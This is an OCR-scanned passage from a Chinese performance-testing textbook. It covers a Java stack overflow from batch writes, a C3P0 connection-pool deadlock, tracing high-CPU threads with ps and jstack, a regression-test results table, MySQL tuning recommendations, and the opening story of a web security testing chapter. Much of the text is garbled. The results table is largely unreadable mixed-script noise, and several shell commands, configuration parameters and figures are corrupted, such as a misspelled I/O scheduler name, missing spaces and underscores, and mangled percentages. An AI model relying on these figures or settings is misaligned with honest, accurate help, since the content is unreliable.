在 一 些 批量 写 入 操作 时 ， 需 要 测试 最 大 写 入 量 ， 这 种 情况 容易 造成 Java 栈 溢出 。 小 白 在 测试 批量 写 入 场景 ， 一 次 性 提交 5000 条 数据 的 时 候 ， 发 现 如 图 9-75 所 示 的 栈 溢出 现象 。 
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图 9-75 Java 栈 溢出 
这 种 栈 溢出 问题 ， 是 由 于 一 次 性 提交 的 数据 量 过 大 造成 的 。 线 程 栈 大 小 是 有 限 的 ，Uncle AP 项 目的 栈 大 小 在 JVM 中 设置 为 IMB。 一 次 性 提交 5000 个 对 象 ， 线 程 栈 装 载 不 下 ， 所 以 导致 了 栈 溢出 。 
于 是 小 白 建议 开发 人 员 在 大 数据 量 写 入 的 时 候 分 批 次 传输 ， 一 次 性 最 大 传输 数据 量 不 大 于 2500 条 ， 如 果 超 过 2500 条 ， 就 进行 事务 封装 ， 这 样 在 不 影响 性 能 的 情况 下 ， 避 免 了 栈 溢 出 错误 。 
3. 数 据 库 连接 池 问 题 及 检测 


在 测试 广告 发 布 场景 性 能 时 ， 小 白 用 Jconsle 监 控 线程 栈 的 时 候 ， 发 现 一 个 很 奇怪 的 问题 ， 如 图 9-76 所 示 。 


10:00 10:05 10:10 10:15 10:20 10:25 10:30 10:35 10:40 10:45 10:50 10:55 


图 9-76 ”数据 库 死 锁 造 成 的 线程 问题 


具体 过 程 是 : 小 白 通过 浏览 器 访问 Uncle AP 项 目 首页 ， 但 是 浏览 器 页 面 无 数据 返回 ， 继 续 访 问 ， 发 现 系统 线程 池 一 直 以 访问 一 次 首页 增加 10 个 的 速度 进行 。 然 后 尝试 不 访问 应 用 的 时 候 ，Uncle AP% 
统 仍然 会 自己 增加 线程 。 在 这 种 情况 下 ， 查 看 线程 栈 里 的 信息 如 图 9-77 所 示 。 


Tinalizrer sun. reflect.NativeConstructorAccessorInmpl.newInstance (NativeConstructo 
Signal Dispatcher 


Attach Listener 


sun. reflect.DelegatingConstructorAccessorImpl. newInst ance (DelegatingCo: 
java. lang. ref lect. Constructor.newInstance (Constructor. java:526) 

mee |java. langJ]Class.newInstance (Class. java: 374) 

DestroyJavalM | јата. util. Serviceloader$LlazyIterator.next (Serviceloader. јауа: 373) 
Abandoned connection cleanup thre|java. util. ServiceLoader$l. next (Serviceloader. јата: 445) 


RMI ICP Accept-O java. sql. DriverManager$2. run(DriverManager. java:510) 
RMI ТСР Connection (1)-192. 168. 10. 
RMI Scheduler (0) 


JMI server connection timeout 17 |" А у 
RMI ТСР Connection 2)-192. 168. 10. | Java, sal. DriverManag adInitialDriversíDriverManager. java: 490) 


java. sql. DriverManager$2. run (DriverManager. java: 1) 
java. security. ÁAccessController. doPrivileged(Native Method) 


RMI ТСР Connection (4)-192. 168. 10. | java. sql. | 100 
shopxx. IhreadB. run (Iemp. јата: 26) 


java. lang. Ihread. run (Ihread. java: 744) 


图 9-77 数据库 死 锁 时 的 线程 栈 信 息 


从 线程 栈 信息 中 小 白 发 现 ， 所 有 线程 都 在 等 待 数据 库 连 接 ， 观 察 后 台 日 志 也 报 线程 栈 溢 出 问题 ， 日 志 信息 如 下 。 


WARN - com.mchange.v2.async.ThreadPoolAsynchronousRunner$DeadlockDetectorG 
4541f0d7 -- APPARENT DEADLOCK! ! ! Creating emergency threads for unassigned pending tasks! 
[2013-07-23 10: 40: 17, 700] [com.mchange.v2.async.ThreadPoolAsynchronousRunn-er: 624] WARN - com.mchange.v2.async.ThreadPoolAsynchronousRunner$DeadlockDetec-tor84541f0d7 -- AE 
Managed Threads: 3 
Active Threads: 3 
Active 
Tasks: com.mchange.v2.resourcepool.BasicResourcePool$AcquireTaskG83ddclc5f (com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-42) com.mchange.v2.resourcepool.BasicResc 
com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask84a314776  (com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-11) 
Pending 
Tasks: com.mchange.v2.resourcepool.BasicResourcePool$AcquireTaskQ694aba07 com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask028fb5792 
com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask8d324743 
Pool thread stack traces: 
Thread[com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-42, 5, main] 


Java.lang.Class.forNameO (Native Method) 

Java.lang.Class.forName (Class.Java: 169) 

com.mchange.v2.c3p0.DriverManagerDataSource.ensureDriverLloaded (DriverManagerDataSource.Java: 100) 
com.mchange.v2.c3p0.DriverManagerDataSource.getConnection (DriverManagerDataSource.Java: 132) 
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledConnection (WrapperConnectionPoolDataSource.Java: 182) 
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledCo-nnection (WrapperConnectionPoolDataSource.Java: 171) 
com.mchange.v2.c3p0.impl.C3PO0PooledConnectionPool$1PooledConne-ctionResourcePoolManager.acquireResource (C3PO0PooledConnectionPo-ol.Java: 137) 
com.mchange.v2.resourcepool.BasicResourcePool.doAcquire (BasicResourcePool.Java: 1014) 
com.mchange.v2.resourcepool.BasicResourcePool.access$800 (BasicResourcePool.Java: 32) 
com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run (BasicResourcePool.Java: 1810) 
com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run (ThreadPoolAsynchronousRunner.Java: 547) 


Thread[com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-40, 5, main] 
Java.lang.Class.forNameO0 (Native Method) 
Java.lang.Class.forName (Class.Java: 169) 


com.mchange.v2.c3p0.DriverManagerDataSource.ensureDriverLoaded (DriverManagerDataSource.Java: 100) 
com.mchange.v2.c3p0.DriverManagerDataSource.getConnection (DriverManagerDataSource.Java: 132) 
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledCo-nnection (WrapperConnectionPoolDataSource.Java: 182) 
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledCo-nnection (WrapperConnectionPoolDataSource.Java: 171) 
com.mchange.v2.c3p0.impl.C3PO0PooledConnectionPool$1PooledConnectionResourcePoolManager.acquireResource (C3PO0PooledConnectionPo-ol.Java: 137) 
com.mchange.v2.resourcepool.BasicResourcePool.doAcquire  (BasicResourcePool.Java: 1014) 
com.mchange.v2.resourcepool.BasicResourcePool.access$800 (BasicResourcePool.Java: 32) 
com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run (BasicResourcePool.Java: 1810) 
com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run (ThreadPoolAsynchronousRunner.Java: 547) 


Thread[com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread-41, 5, main] 
Java.lang.Class.forNameO0 (Native Method) 
Java.lang.Class.forName (Class.Java: 169) 


com.mchange.v2.c3p0.DriverManagerDataSource.ensureDriverLoaded (DriverManagerDataSource.Java: 100) 
com.mchange.v2.c3p0.DriverManagerDataSource.getConnection (DriverManagerDataSource.Java: 132) 
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledCo-nnection (WrapperConnectionPoolDataSource.Java: 182) 
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.getPooledCo-nnection (WrapperConnectionPoolDataSource.Java: 171) 
com.mchange.v2.c3p0.impl.C3PO0PooledConnectionPool$1PooledConne-ctionResourcePoolManager.acquireResource (C3PO0PooledConnectionPo-ol.Java: 137) 
com.mchange.v2.resourcepool.BasicResourcePool.doAcquire (BasicResource- Pool.Java: 1014) 
com.mchange.v2.resourcepool.BasicResourcePool.access$800 (BasicResourcePool.Java: 32) 
com.mchange.v2.resourcepool.BasicResourcePool$AcquireTask.run (BasicResourcePool.Java: 1810) 
com.mchange.v2.async.ThreadPoolAsynchronousRunner$PoolThread.run (ThreadPoolAsynchronousRunner.Java: 547) 


从 日 志 中 也 能 看 到 ， 数 据 库 连接 池 满 造成 了 当前 的 现象 。Uncle AP 项 目 采 用 的 是 C3P0 连 接 池 ， 小 白 怀 疑 C3P0 连 接 池 是 否 有 bug。 在 C3P0 官 方 网 站 中 查 出 这 确实 
因 如 下 。 


是 C3P0 连 接 池 本 身 的 bug。 导 致 的 原 


C3P0 在 同时 关闭 statement 和 connection 的 时 候 ， 或 者 关闭 它们 的 时 间 间 隔 很 短 的 时 候 ， 有 时 候 connection 并 没有 被 关闭 ， 因 为 有 些 preparedstatement 还 在 被 cached 住 。 有 具体 的 详细 信息 可 以 参考 
作者 原 话 ， 见 | р orun 


3?t-9472468&highlightzappar-ent- deadlo: 3p0, 


hibernate.org/viewtopic.php 
最 后 小 白 解 决 该 问题 的 方法 如 下 。 
1) 为 C3P0 连 接 池 配 置 属性 : max statements-0, 


2) 将 数据 库 连 接 池 最 小 启动 值 从 25 个 提 到 80 个 。 


4.CPU 使 用 过 高 导致 的 性 能 问题 

在 性 能 测试 过 程 中 ，CPU 使 用 过 高 、 操 作 系统 负载 值 (Load) 过 高 是 经 常 遇 到 的 问题 ， 小 白 在 本 次 项 目 中 也 遇 到 过 。 一 般 性 能 测试 人 员 发 现 CPU 使 用 过 高 后 就 停止 分 析 ， 造 成 瓶颈 的 原因 就 直接 说 是 
CPU 消耗 过 高 导致 了 系统 性 能 问题 ， 这 是 很 业余 的 性 能 测试 行为 。 专 业 的 性 能 测试 人 员 应 该 在 发 现 系统 CPU 问题 后 ， 定 位 是 什么 导致 了 系统 CPU 消耗 过 高 ， 从 而 减少 开发 人 员 的 工作 量 ， 并 提高 自己 的 被 认 
可 度 。 

小 白 在 这 次 测试 过 程 中 也 发 现 过 系统 用 户 态 CPU 消耗 过 高 的 问题 ， 当 时 系统 用 户 态 CPU 消 耗 达 到 879%， 系 统 Load 值 也 高 达 56。 人 小 白 定位 CPU 问题 还 是 直接 使 用 JProfiler。 在 查看 JProfiler 工 具 CPU 热 点 


消耗 时 ， 发 现 图 9-78 中 的 方法 占用 了 较 大 的 CPU 时 间 片 。 
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图 9-78 JProfiler CPU 热点 图 
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据 的 排序 操作 放 在 了 本 地 内 存 ， 造 成 系统 CPU 消耗 高 ， 将 排序 放 到 数据 库 端 后 ， 应 用 服务 器 CPU 的 消耗 就 降下 来 了 。 


除了 用 类 似 JProfiler 的 工具 分 析 外 ， 还 可 以 用 top 或 者 ps 命令 定位 系统 消耗 CPU 较 高 的 线程 ID， 然 后 dump 线 程 进行 分 析 。 例 如 用 ps 命令 先 定位 出 消耗 CPU 时 间 片 最 高 的 线程 ID 为 30834， 如 图 9-79 所 


USER 

айт1п 
айт1п 
admin 
admin 
admin 
admin 
admin 
admin 
admin 
admin 
admin 
admin 
admin 


定位 出 线程 ID 后 ， 通 过 printf 命 令 将 该 线程 ID 为 30834 的 线程 号 
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图 9-79 ”ps 命 


USER SYSTEM 


令 定 位 出 消耗 CPU 最 高 的 线程 ID 


TID 
30812 
30816 
30818 
30819 
308208 
308721 
30827 
30834 
30835 
30836 
30848 
30849 


TIME 
60:58:18 
00:00:00 
00:08:11 
00:08:19 
00:00:20 
00:00:19 
00:00:20 
60:08:04 
00:01:39 
00:00:00 
00:00:05 
00:08:00 
00:00:00 


转 存 为 十 六 进 制 ， 然 后 从 使 用 stack 命 令 dump 下 来 的 线程 站 信息 里 查找 到 该 线程 信息 ， 如 图 9-80 所 示 ， 通 过 分 析 线 程 栈 定位 问题 原因 。 


admin@ëtpsc-service01 -]$ jstack >> /tmp/ljh.txt 
admin&àtpsc-service981 -|$ grep 7d9b /tmp/ljh.txt 
| | 5" daemon prio-10 tid-0x00002aab047a9800 nid-0x7d9b waiting on condition [0x0000080046166000] 
Ladmindàtpsc-service0l -|$ grep 7d9b /tmp/ljh.txt -A 18 
'DboServiceProcessor-4-thread-295" daemon рг10=10 tids0x00002aab847a9800 nids0x7d9b waiting on condition [0x0000000046f66000] 
Java.lang.Thread.State: WAITING (parking) 
at sun.misc.Unsafe.park(Native Method) 
g to wait for «0x60002aaabfbdO0f8» (а java.util.concurrent.SynchronousQueue$STransferStack) 
util.concurrent.locks.LockSupport.park(LockSupport.java: 158) 
Java.util.concurrent.SynchronousQueueSTransferStack.awaitFulfill(SynchronousQueue.java:422] 
Java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue. јаха: 323 ) 
java.util.concurrent.SynchronousQueue.take(SynchronousQueue. јача: 857) 
.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:947) 
va.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:907] 
Thread.run(Thread.1ava:619) 


9-80 查找 dump 线 程 栈 中 消耗 CPU 的 线程 
从 图 9-81 中 的 线程 栈 信息 能 看 到 系统 处 于 锁 等 待 状况 ， 然 后 分 析 代码 定位 出 具体 是 什么 原因 导致 应 用 系统 CPU 比较 高 。 


如 果 是 系统 态 CPU 消耗 比较 高 ， 则 可 以 先 分 析 是 否 是 MO 繁忙 导致 ， 然 后 使 用 stace 命 令 跟 踪 内 核 调度 信息 ， 这 样 就 能 定位 出 CPU 消耗 高 的 原因 。 


9.12 ”性 能 回归 测试 与 结果 

在 性 能 测试 过 程 中 每 次 发 现 问题 并 解决 后 ， 需 要 性 能 测试 人 员 对 相关 影响 的 功能 场景 进行 回归 测试 ， 因 为 可 能 一 个 问题 的 修改 会 导致 另外 的 性 能 问题 。 所 以 在 性 能 测试 过 程 中 ， 会 进行 多 次 性 能 回归 测 
试 。 小 白 在 与 其 他 性 能 测试 人 员 的 沟通 中 发 现 ， 一 些 性 能 测试 人 员 在 问题 修改 解决 后 ， 不 会 对 其 他 关联 场景 进行 回归 测试 ， 直 接 发 送 测试 报告 ， 这 样 是 很 危险 的 ， 小 白 在 这 里 建议 大 家 每 次 修改 都 要 进行 性 
能 回归 测试 。 


9.12.1 回归 测试 后 的 性 能 测试 结果 


发 现 的 所 有 性 能 问题 都 解决 后 ， 担 心 由 于 某 个 功能 的 性 能 问题 修复 会 引发 其 他 功能 的 性 能 问题 ， 小 白 对 所 有 的 性 能 测试 场景 都 进行 了 回归 测试 ， 回 归结 果 记 录 见 表 9-10。 


表 9-10 性 能 测试 结果 记录 


测试 点 


p PERI E 


广告 批量 查询 


ГРЕТА Ж 


广告 批量 新 寻 


报告 控 Ң Ër j] 


广告 词 排序 


新 建 广告 组 


з уар Far Н [B] < 25 

事务 成 功率 10096 

CPU {ЁН 60% 

3 P8 E TIERE DIL МУЕН S 
ЫЧ rr BJ [B] = 2s 

事务 成 功率 10096 

CPU 使 用 率 扫 60% 

3E P3 £e ERE DRE SES EE se 
Ын ror BT [B] = 3s 

HE 35 RV IAS. 100% 

CPU Ф 35 60% 

3: P322 TIEBE DARE Bl TI 35 
ЕЧ ra Н [B] = 2s 

事务 成 功 府 10096 

CPU ФН = 60% 
TAF TIERE EL RETE BICIS 
ЫҢ rar BJ [B] = 55 
HAIE 100% 

CPU {ЕҤ Ж =< 6096 

A; PEE HIER ELE SE h HI S 


УЧ ЛУН [B] < 35 

圳 大 成 功率 100% 

CPU ñ JH: =< 60% 

Jc V3 FE TERR DA S SE TN HI s: 


ч ЖЫ ng BT [8] = 25 

事务 成 功率 100% 

CPU [ib Hj 6096 

JG P EE TIERE EL PE Н SP 
шыйк Fr Bd = 3s 

事务 成 功率 100% 

CPU IH R]: < 60% 

无 肉 存 泄露 以 及 死 锁 现象 
ЗР. ЖУЦЩ ҺУН [B] = 25 

9:3 ПУ уа 100% 

CPU fb HE = 60% 
ЖИЛ ЖЕННИ 


эщ КҮН ПН] 0.49 

W nV rf 58 =100% 

CPU 使 用 这 = 690 

无 内 存 刘露 以 及 死 销 现 条 
平均 响应 时 间 = 1.725 
事务 成 功率 =100% 

CPU 使 用 率 = 26% 

xF ili g£ ELS FE HER S: 
平均 响应 时 间 = 3.085 

38 5 ny 1I] =100% 

CPU 使 用 率 = 48% 

EAF ERE EL FE HERE @ 
平均 啊 应 时 间 = 1.25s 
事务 成 功率 =100% 

CPU 使 用 率 = 15% 

无 内 存 泄 圳 以 及 死 锁 现象 
平均 啊 应 时 间 = 4.57s 
事务 成 功率 =100% 

CPU 使 用 这 = 15% 

无 内 存 泄露 以 及 死 锁 现象 


平均 上 响应 时 间 = 4.47 

事务 成 功率 =100% 

CPU = 55% 
EAF IERE ЛЕ SETH PI e 


平均 辐 应 时 间 = 1.57s 

董 务 成 功率 =100% 

CPU | = 40% 

无 内 存 泄 露 以 及 死 锁 现象 
平均 响应 时 间 = 2.63s 
事务 成 功率 =100% 

CPU Ф = 46% 

A.P Fili gg EL ES RE dL EMIL Se 
ЗЕ ТУ n BT [Н]: 1.39ss 

tH 3 hy 1] 58 —10098 

CPU = 8% 

3c p fill gg DA X FE fll E Se 


结论 


测试 通过 


测试 通过 


测试 未 通过 。 
Б ТИЛЛА Ж 3s 差距 不 大 ， 在 项 目 工期 坚 
张 的 前 提 下 ， 不 继续 做 性 能 优化 


测试 通过 


测试 通过 


测试 未 通过 

由 于 MongoDB Еж, Br 
КЧ ЕШ ХА. Р РЕ ТАЈ Е, инжир 
对 MongoDB 进行 拆 库 分 表 来 减少 单 表 数 据 
量 和 数据 查询 量 来 优化 性 能 


测试 通过 


测试 通过 


测试 通过 


测试 点 
130W 数 те 
核 完成 

事务 成 功率 
CPU 使 用 率 


无 内存 泄露 以 及 
Ep] НУН] < 3 

事务 成 功率 100% 

= 60% 

无 内 存 泄 露 以 及 死 锁 现 象 


TE 2 L1 ТЕҢ ] &i ij CPU [ii 用 E 


Е 0020) 


CPU {EHE 
无 内 存 泄露 以 及 死 锁 现象 


9.12.2 ”数据 库 性 能 优化 建议 


t 100% 3 
< 65% 


在 6005 内 审 


130W TT 审核 完成 时 间 
FJ 507s 

事务 成 功率 100% 

CPU 使 用 鞭毛 60% 

JG P HERR LA Ле PE gi gu 
平均 啊 应 时 间 = 2.81s 
事务 成 功 革 =100% 

CPU 使 用 率 = 36% 

无 内 存 汇 露 以 及 死 锁 现 象 
PDE 100% 

CPU (FHES 41% 

无 内 存 泄露 以 及 死 锁 现象 


100% 
< 60% 
"E tbi Fl 13 


由 于 本 次 测试 过 程 中 ， 发 现 数据 库 的 性 能 问题 较 多 ， 所 以 小 白 提出 了 MySQL 数 据 库 的 如 下 性 能 优化 建议 。 


(1) 确保 有 足够 的 内 存 


数据 库 高 效 运 行 最 关 建 的 因素 是 内 存 足够 大 ， 能 缓存 住 数据 ， 更 新 也 可 以 在 内 存 先 完成 。 但 不 同 的 业务 对 内 存 需 求 强 度 不 一 样 ， 一 般 建 议 内 存 要 占 到 数据 大 小 的 15%~25%， 


要 达到 | 数据 库 大 小 的 80%。 


(2) 需要 更 多 、 更 快 的 CPU 


MySQL 5.6 可 以 利用 64 核 ， 而 MySQL 每 个 查询 只 全 


(3) 选择 合适 的 操作 系统 


8 运行 在 一 个 CPU 上 ， 所 以 要 求 更 多 的 CPU， 更 快 的 CPU 会 更 有 利于 并 发 。 


测试 通过 


测试 通过 
按 月 查询 返回 的 数据 
以 性 能 比 按 日 查询 好 


测试 通过 


ne 


kp 


— 
eps 
AUR 
a eds 
Fit 
— 


反而 少 一 些 ， 所 


官方 估计 最 推荐 使 用 Solaris， 从 实际 生产 情况 看 ，CentOS、REHL 都 是 不 错 的 选择 。 推 荐 使 用 CentOS 和 REHL 为 6 以 后 的 版 本 ， 当 然 Oracle Linux 也 是 一 个 不 错 的 选择 。 昌 然 从 MySQL 5.5 后 对 
Windows 做 了 优化 ， 但 也 不 推荐 在 高 并 发 环境 中 使 用 Windows。 


(4) 合理 的 优化 系统 的 参数 

- 更 改 文件 句柄 : 使 用 ulimit-n 命 令 进 行 
进程 数 限制 : 使 用 ulimit-u 命 令 进行 修改 ， 

: Ж МОМА: numctl-interleave=all。 


(5) 选择 合适 的 内 存 分 配 算法 


修改 ， 系 统 默 认 大 小 是 1024。 


不 同 版 本 进程 数 大 小 默认 值 不 同 。 


默认 的 内 存 分 配方 式 就 是 C 的 malloc 方 式 ， 现 在 也 出 现 了 许多 优化 的 内 存 分 配 算法 ， 例 如 : 


jemalloc and tcmalloc 


MySQL 5.5 后 支持 声明 内 存储 方法 : 


[mysqld safe] 
malloc-lib = tcmalloc 


或 直接 指定 到 so 文件 ， 也 可 以 : 


[mysqld safe] 


malloc-lib-/usr/local/lib/libtcmalloc minimal.so 


(6) 使 用 更 快 的 存储 设备 SSD 或 固态 卡 


存储 介质 十 分 影响 MySQL 的 随机 读 取 和 写 入 的 更 新 速度 。 新 一 代 存 储 设备 固态 SSD 及 固态 卡 的 出 现 也 让 MySQL 大 放 异 彩 ， 


(7) 选择 良好 的 文件 系统 
文件 系统 推荐 XFS ехї4, 
最 后 ， 文 件 系 统 强 烈 推 荐 使 用 XFS。 

(8) 优化 挂 载 文件 系统 的 参数 


挂 载 XFS 参数 : 


(rw, noatime, nodiratime, nobarrier) 


还 在 使 用 ext2 和 ext3 的 请 尽 


快 升级 。 推 荐 使 用 XFS， 这 也 是 今 


后 一 段 时 间 内 Linux 会 支持 的 一 个 文件 系统 。 


挂 载 ext4 参 数 : 


ext4 (rw, noatime, nodiratime, nobarrier, data-ordered) 


如 果 使 用 SSD 或 固态 盘 需要 考虑 : 
: innodb page size-4K 

: Innodb. flush, neighbors-0 

(9) 选择 适合 的 I/O 调 度 


正常 情况 下 ，IMO 调 度 方 式 下 可 使 用 deadline， 默 认 是 noop: 


echo dealine »/sys/block/(DEV-NAME]/queue/scheduler 


(10) 选择 合适 的 RAID 缓 存 策略 
请 使 用 带电 的 RAID ， 并 启用 WriteBack， 这 对 于 加 速 redo log. binary log. data file 都 有 好 处 。 
(11) 禁用 Query Cache 


Query Cache 在 Innodb 中 有 点 鸡肋 ，Innodb 的 数据 本 身 可 以 在 Innodb buffer pool 中 缓存 ，Query Cache 属 于 结果 集 缓存 ， 如 果 开 启 Query Cache 更 新 ， 则 写 入 都 要 检查 Query Cache， 反 而 增加 了 
写 入 的 开销 。 


在 MySQL 5.6 中 ，Query Cache 被 禁用 。 


(12) 使 用 Thread Pool 

现在 一 个 数据 对 应 5 个 以 上 App 场 景 比较 常见 ， 但 MySQL 有 个 特性 ， 就 是 随 着 连接 的 增多 ， 性 能 反而 下 降 ， 所 以 对 于 连接 超过 200 个 场景 的 ， 请 考虑 使 用 thread роо! (线程 池 ) 。 
(13) 合理 调整 内 存 

1) 减少 连接 的 内 存 分 配 。 

连接 可 以 用 thread_ cache size 缓存 ， 经 观察 不 如 thread pool 给 力 。 数 据 库 在 连接 上 分 配 的 内 存 如 下 。 


max used connections * ( 
read buffer size + 
read rnd buffer size -* 
join buffer size + 
sort buffer size + 
binlog cache size + 
thread stack + 

2 * net buffer length .. 


) 


2) 使 用 较 大 的 buffer pool 

要 把 60%~80% 的 内 存 分 配给 innodb_buffer_pool_size，buffer pool 不 要 超过 数据 大 小 了 ， 另 外 也 不 要 分 配 超过 80% 的 内 容 ， 否 则 会 利用 到 swap。 
(14) 合理 选择 日 志 刷 新 机 制 

日 志 刷 新 机 制 主要 包含 Redo Logs 和 Binlog， 具 体 的 设置 参考 如 下 : 


1) Redo Logs: 


- innodb flush log at trx commit = 1 // 最 安全 
- innodb flush log at trx commit = 2 // 较 好 性 能 
- innodb flush log at trx commit = 0 // 最 好 的 性 能 


2) Binlog: 
设置 binlog ѕупс= 1 但 这 样 设置 需要 group commit 支 持 ， 如 果 没 有 group commit 功 能 可 以 考虑 binlog sync=0 来 获得 较 好 的 性 能 。 


3) 数据 文件 : 


innodb flush method = O DIRECT 


(15) 设置 较 大 的 Redo log 


以 前 Percona 5.5 和 官方 MySQL 5.5 比 拼 性 能 时 ， 胜 出 的 一 个 原因 就 是 分 配 了 超过 4GB 的 Redo log， 而 官方 MySQL5.5 Redo log 不 能 超过 4GB，MySQL 5.6 以 后 可 以 超过 4GB 了 ， 通 常 建议 Redo loghi 
起 来 要 超过 500MB。 可 以 通过 观察 Redo log 产 生 量 ， 为 Redo log 分 配 大 于 一 小 时 的 数据 量 即 可 。 


(16) 优化 磁盘 的 I/O 
innodb io_capactiy 参 数 在 SAs 15000 转 的 情况 下 配置 800 就 可 以 了 ， 在 SSD 下 面 配 置 2000 以 上 。 


在 MySQL 5.6 以 后 版 本 中 有 关 innodb io_capactiy 参 数 的 说 明 : 


innodb lru scan depth = innodb io capacity / innodb buffer pool instances 
innodb io capacity max = тїп (2000, 2 * innodb io capacity) 


(17) 配置 合理 的 并 发 
innodb thread_concurrency 这 个 参数 在 Innodb 中 变化 也 是 最 频繁 的 一 个 参数 ， 不 同 的 版 本 甚至 不 同 的 小 版 本 也 会 不 太一 样 。 一 般 推 荐 : 


在 使 用 thread pool 的 情况 下 : 


innodb thread concurrency=0 就 可 以 了 。 

在 没有 thread pool 的 情况 下 : 

5.5 版 本 推荐 设置 : innodb thread concurrency=16~32。 
5.6 版 本 推荐 设置 : innodb thread concurrency=36。 


《注意 解决 所 有 发 现 的 问题 后 ， 本 次 回归 测试 的 性 能 结果 基本 满足 预期 要 求 ， 但 查询 时 ， 堆 内 存 分 配 大 量 的 堆 对 象 ， 仍 然 会 导致 18 小 时 进行 一 次 Full GC。 项 目 上 线 后 ， 性 能 测试 人 员 与 开发 人 员 应 


该 继续 对 该 问题 进行 优化 ， 以 保证 堆 内 存 的 合理 使 用 。 


9.13 ”本 章 小 结 

经 过 本 次 实战 ， 小 白 将 自己 最 近 一 段 时 间 内 的 感悟 和 所 得 完美 地 用 在 了 该 项 目的 整个 性 能 测试 中 。 从 项 目 需求 的 分 析 到 场景 的 选取 ， 都 是 有 依 有 据 的 ， 避 免 了 由 于 性 能 测试 目标 以 及 场景 不 合理 导致 的 
矛盾 冲突 和 后 续 的 性 能 风险 ， 也 大 大 提高 了 公司 对 性 能 测试 团队 的 认可 。 

在 这 次 性 能 测试 过 程 中 ， 小 白 对 系统 的 各 个 维度 进行 监控 ， 然 后 分 析 ， 不 只 发 现 了 性 能 问题 ， 更 重要 的 是 在 发 现 性 能 问题 后 ， 能 定位 到 问题 的 原因 ， 并 提出 合理 的 优化 建议 。 

这 个 项 目 使 小 白 的 性 能 测试 之 旅 得 到 了 完美 的 升华 。 

1) 性 能 测试 工作 不 是 全 部 照抄 网 上 的 测试 思想 ， 而 应 该 有 自己 的 思维 和 想法 ， 结 合 自己 公司 的 现状 ， 不 断 地 提高 性 能 测试 自动 化 效率 和 准确 性 。 

2) 性 能 测试 工作 不 只 是 执行 脚本 ， 还 应 该 是 发 现 问题 、 定 位 问题 、 提 出 合理 的 优化 建议 。 

3) 性 能 测试 是 一 个 系统 工程 ， 性 能 调 优 是 没有 止境 的 ， 每 次 性 能 测试 工作 只 需要 做 到 让 系统 性 能 达到 既定 的 性 能 要 求 ， 并 让 系统 保持 在 合理 的 平衡 范围 内 。 


4) 性 能 测试 工作 是 不 断 进 步 发 展 的 ， 需 要 性 能 测试 人 员 持 续 的 学 习 ， 并 提升 性 能 测试 工作 的 被 认可 度 。 


第 10 章 ”安全 测试 

暮春 三 月 ， 晴 空 万 里 。 终 于 不 负 客 户 重 托 ， 性 能 测试 工作 取得 了 阶段 性 的 进展 。 小 白 也 从 一 个 测试 小 兵 成 为 了 一 个 性 能 测试 小 牛 ， 很 受 公司 领 导 和 小 黑 经 理 的 重视 。 在 发 薪 的 日 子 ， 当 小 白 正 在 电脑 前 
美 滋 滋 地 看 着 自己 工资 卡 里 多 出 的 不 菲 的 项 目 奖 金 时 ， 突 然 一 封 邮件 打 乱 了 他 的 思绪 。 打 开 一 看 ， 惊 觉 义 是 上 庶 了 自己 无 数 遍 的 项 目 总 监 ， 邮 件 内 容 如 下 。 

亲爱 的 小 白 : 


你 好 ! 近来 咱们 网 络 部 门 发 现 很 多 来 自 同 一 IP 的 异常 请 求 ， 经 过 分 析 ， 请 求 似 乎 是 利用 了 网 站 中 存在 的 Web 安 全 漏洞 ， 并 且 已 经 对 我 们 电 商 平 台 有 了 一 定 程度 的 亏损 ， 很 多 产品 被 某 一 用 户 以 0.1 元 的 价 
格 买 到 ， 我 们 已 暂时 拒绝 了 来 自 该 IP 的 所 有 请 求 ， 为 了 从 根本 上 解决 问题 ， 需 要 你 从 下 个 月 初 暂时 增援 ， 以 对 公司 电 商 平台 进行 Web 安 全 测试 。 


10.1 偶遇 Web 安 全 测试 


Web 安 全 测试 ? 这 是 什么 ? 小 白 心中 打出 了 一 个 大 大 的 问号 。 带 着 这 样 的 问题 ， 小 白 还 是 选择 在 自己 埋头 研究 之 前 ， 先 去 找 万 能 的 小 黑 经 理 了 解 一 下 安全 测试 。 看 到 小 白 前 来 ， 小 黑 经 理 便 问 : "А 
啊 ， 找 我 有 什么 事情 么 ”性 能 测试 哪 又 出 问题 了 ? ”小 白 忙 摆手 道 : “性 能 一 切 OK， 今 天 项 目 总 监 又 给 我 发 来 邮件 ， 让 我 下 个 月 要 对 项 目 进行 Web 安 全 测试 ， 经 理 ，Web 安 全 测试 我 也 不 会 啊 ， 您 看 要 不 
和 总 监 大 人 说 一 下 ， 换 个 人 吧 。 " 


小 黑 经 理 大 她 ， 拍 桌 而 起 : “ 亏 我 这 么 看 好 你 ， 你 关键 时 候 给 我 掉 链 子 ， 不 会 怕 什 么 ， 谁 天 生 就 会 啊 ， 你 这 性 能 测试 还 不 是 一 点 一 点 摸索 出 来 的 ， 现 在 不 也 挺 好 的 。 实 在 不 行 有 问题 来 问 我 。” 
小 白 大 喜 ，“ 就 等 您 这 话 了 ， 那 您 赶紧 告诉 我 这 Web 安 全 是 什么 ， 流 程 是 不 是 和 性 能 差不多 ， 我 该 怎么 去 测试 ， 测 试 什么 啊 ?“ 
